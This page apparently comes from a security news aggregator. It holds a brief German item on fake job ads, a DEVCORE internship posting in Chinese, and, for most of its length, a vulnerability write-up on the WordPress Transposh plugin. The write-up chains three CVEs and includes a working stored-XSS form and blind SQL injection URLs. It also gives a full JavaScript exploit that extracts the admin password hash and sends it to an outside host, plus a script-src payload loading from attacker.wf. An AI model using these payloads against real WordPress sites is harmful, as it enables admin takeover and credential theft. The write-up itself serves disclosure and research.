Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

HanseSecure im ARD München Report

By: Hansemann
14 August 2022 at 10:26
Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl. "Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten", somit -VIELEN DANK für IHRE IDENTITÄT-. Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.

DEVCORE 2022 第二屆實習生計畫

24 July 2022 at 16:00

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary
    以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web
    主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 9 月開始到 2023 年 2 月底,共 6 個月。
    • 備註:若應徵人數過多,我們評估無法在 08/26 前決定人選。整體實習時間將會順延一至兩週,屆時會提早發信通知所有應徵者。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷資格審查
  • 問答題答案(共 2 題,各組別題目不同,詳見下方報名方式

我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。

第二階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/08/12(五)23:59 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 題目如下,請依照欲申請之組別回答
    • Binary
      • 簡答題
        • 假設你今天要分析一台印表機
          • 你會如何去分析 ?
          • 你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響,以及所對應到的 OWASP Top 10 / CWE 類別。
      • (上述題目建議撰寫 1~2 頁即可)

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

WordPress Transposh: Exploiting a Blind SQL Injection via XSS

22 July 2022 at 00:00

Introduction

You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:

Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.

Part 1: CVE-2022-2461 - Weak Default Configuration

So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:

This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.

Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting

The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:

At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.

Part 3: CVE-2022-25811 - Authenticated SQL Injections

So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:

/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))

This results in a nice delay of the response proving the SQL Injection:

To fully escalate this chain, let’s get to the most interesting part.

How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting

Approach

Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.

Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.

This is a lot and will require the victim to stay on the page for quite a while.

So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.

Transposh’s Sanitization?!

While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:

$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';

It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.

Preparing The Test Cases

The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):

(SELECT+(
  CASE+WHEN+(
    ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
    +BETWEEN+1+AND+122)+
    THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))

I’ve split the payload up for readability reasons here. Let me explain its core components:

  • The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
  • The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
  • The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.

The False Case

Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:

The True Case

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:

As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!

How to Reduce the Exploitation Requests from ~2200 to ~300

So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:

Let’s first define a couple of things:

  • 46: the lowest end of the possible character set –> cur (current) value.
  • 122: the upper end of the possible character set –> max (maximum) value.
  • 0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.

Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:

cur = cur + (Math.floor((max-cur)/2));

This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.

However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.

Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:

true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68

Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).

Some JavaScript (Magic)

Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:

async function exploit() {
    let result = "$P$B";
    let targetChar = 5;
    let prev = 0;
    let cur = 46;
    let max = 122;
    let requestCount = 0;

    do {
        let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`

        const response = await fetch(url)
        const data = await response.text()

        requestCount = requestCount + 1;

        // this is the true/false differentiator
        if(data.includes("Bulk actions"))
        {
            // "true" case
            prev = cur;
            cur = cur + (Math.floor((max-cur)/2));

            //console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );

            if(cur === 0 && prev === 0) {
                console.log('Request count: ' + requestCount);
                return(result)
            }

            // this means we've found the correct char
            if(cur === prev) {
                result = result + String.fromCharCode(cur);

                // reset initial values
                prev = 0;
                cur = 20;
                max = 122;

                // proceed with next char
                targetChar = targetChar + 1;

                console.log(result);
            }
        }
        else
        {
            // "false" case
            // console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );

            max = cur;
            cur = prev;
        }
    } while (1)
}



exploit().then(x => {
    console.log('password: ' + x);

    // let's leak it to somewhere else
    leakUrl = "http://www.rcesecurity.com?password=" + x
    xhr = new XMLHttpRequest();
    xhr.open('GET', leakUrl);
    xhr.send();
});

Connecting the Dots

Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="xss" />
      <input type="hidden" name="items" value="3" />
      <input type="hidden" name="tk0" value="xss&lt;script&#32;src&#61;&quot;https&#58;&#47;&#47;www&#46;attacker&#46;wf&#47;ff&#46;js&quot;&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:

❌
❌